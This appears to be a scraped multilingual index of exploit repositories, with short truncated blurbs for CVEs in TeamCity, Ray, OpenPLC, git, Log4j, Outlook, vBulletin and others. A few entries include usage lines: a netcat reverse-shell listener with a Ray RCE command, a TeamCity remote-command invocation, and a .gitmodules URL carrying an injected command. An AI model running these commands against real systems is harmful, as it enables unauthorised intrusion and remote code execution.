cve-2025-55182

🛡️ React2Shell CTF 🚀 Benvenuti in React2Shell-CTF , un ambiente Dockerizzato progettato per esercitarsi nello sfruttamento di React2Shell CVE-2025-55182. React2Shell è una vulnerabilità critica che colpisce le applicazioni basate su React. Questo repository fornisce una sfida Capture The Flag CTF...

cve-2025-29384

CVE-2025-29384 Exploit Proof-of-Concept Panoramica Questo repository contiene un exploit proof-of-concept PoC avanzato per CVE-2025-29384 , una vulnerabilità critica di buffer overflow basato su stack scoperta nel router Tenda AC9 con versione firmware V15.03.05.14multi. Questa vulnerabilità...

CVE-2022-28368

CVE-2022-28368 - Dompdf RCE Exploit PoC di Dompdf RCE testo alternativo ExploitDB Le versioni di Dompdf 1.2.1 sono vulnerabili all'esecuzione di codice remoto RCE tramite l'iniezione di CSS nei dati. Il file può essere indotto a memorizzare un font dannoso con estensione .php nella sua cache dei...

CVE-2024-32002

CVE-2024-32002 1. Modifica il file exploit.sh sostituisci i repository 2. esegui bash exploit.sh exploit.sh Ispirato da - https://github.com/safebuffer/CVE-2024-32002 Realizzato per CTF Versioni vulnerabili v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 Fonte...

CVE-2023-42793

CVE-2023-42793 TeamCity CVE-2023-42793 RCE Esecuzione remota di codice rce.py Ispirato da - https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity python3 rce.py --url teamcity.runner.htb --command whoami exploit.py Questo script è una copia di...

CVE-2021-31630

OpenPLC WebServer v3 - RCE autenticato CVE-2021-31630 Questo exploit si basa sull'exploit di Exploit-DB realizzato da Fellipe Oliveira. Per prima cosa, autenticati Carica un file C malevolo Compilalo Avvia il PLC avvia la reverse shell Ferma il PLC non è necessario eseguirlo, la reverse shell è g...

POC-CVE-2018-10933

POC-CVE-2018-10933 Exploit di bypass dell'autenticazione LibSSH tramite RCE Riferimenti del codice Repository Git dell'esempio https://www.youtube.com/watch?v=ZSWQjmfcn4g Ulteriori informazioni sulla vulnerabilità https://www.libssh.org/security/advisories/CVE-2018-10933.txt...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Riferimento https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2017-9805

CVE-2017-9805: Analisi della RCE di Apache Struts 2 S2-052 Questo repository contiene dettagli tecnici e una Proof of Concept PoC per la vulnerabilità di deserializzazione XStream in Apache Struts 2 S2-052. 📌 Dettagli della Vulnerabilità ID CVE: CVE-2017-9805 Tipo di vulnerabilità: Remote Code...

CVE-2023-6019

حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Schwachstelle zur Remotecodeausführung in Microsoft Windows SMBv1 "Ein Exploit. Dutzende Malware-Familien. Milliarden Schaden." 🔍 Zusammenfassung in einem Satz CVE-2017-0144 ist eine kritische Schwachstelle zur Remotecodeausführung in der SMBv1-Serverimplementierung...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 moodle autenticato come insegnante esecuzione remota di codice...

CVE-2023-51385_test

Verificação do CVE-2023-51385 Primeiro, é necessário adicionar o seguinte conteúdo em /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Existe injeção de comando na declaração do arquivo .gitmodules root@kitploit: url = ssh://echo helloworld...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 17. Dezember 2022 Follina CVE-2022-30190 ist eine kürzlich entdeckte Microsoft Office Zero-Day-Sicherheitslücke. Es handelt sich um eine Schwachstelle mit hohem Schweregrad, die von Hackern für Remote-Code-Ausführungsangriffe RCE ausgenutzt werden kann. Sie tritt auf,...

CVE-2023-21716

CVE-2023-21716 Corruzione dell'heap della tabella dei font RTF di Microsoft Word https://twitter.com/jduck Una vulnerabilità all'interno di wwlib di Microsoft Office consente agli aggressori di ottenere l'esecuzione di codice in remoto con i privilegi della vittima che apre un documento RTF...

CVE-2024-41651

Blind SSRF zu RCE Exploit - PrestaShop 8.1.7 Dieses Dokument beschreibt einen Blind-SSRF-zu-RCE-Exploit auf einer frischen PrestaShop 8.1.7 Docker-Installation. Voraussetzungen Stellen Sie sicher, dass mindestens ein veraltetes Modul installiert ist, zum Beispiel: psfacetedsearch Laden Sie das...

Log4j-_Vulnerability

The Web Is Vulnerable to CVE-2021-44228 Questa applicazione web è vulnerabile a CVE-2021-44228, una falla di sicurezza critica in Apache Log4j 2 nota come Log4Shell. Questa vulnerabilità consente a un attaccante non autenticato di eseguire codice dannoso da remoto semplicemente inviando un input...

CVE-2022-21661

🛡️ CVE-2022-21661 Ein Python-basierter Proof-of-Concept PoC -Exploit für CVE-2022-21661, eine kritische Schwachstelle in WordPress, die es nicht autorisierten Angreifern ermöglicht, Object-Injection-Angriffe durchzuführen, die unter bestimmten Bedingungen zu Remote Code Execution RCE führen können...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Proof-of-Concept für die Microsoft Outlook Remote Code Execution-Schwachstelle 📜 Beschreibung Dieses Skript präsentiert einen Proof-of-Concept PoC für CVE-2024-21413, eine bedeutende Sicherheitsschwachstelle, die in Microsoft Outlook entdeckt wurde und einen CVSS-Wert von 9,8...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp ' Execução Remota de Código Não Autenticada Console de linha de comando interativo para CVE-2019-16759 Uso: root@kitploit: python3 exploit.py Insira o site com Http/Https e obtenha o Shell :p...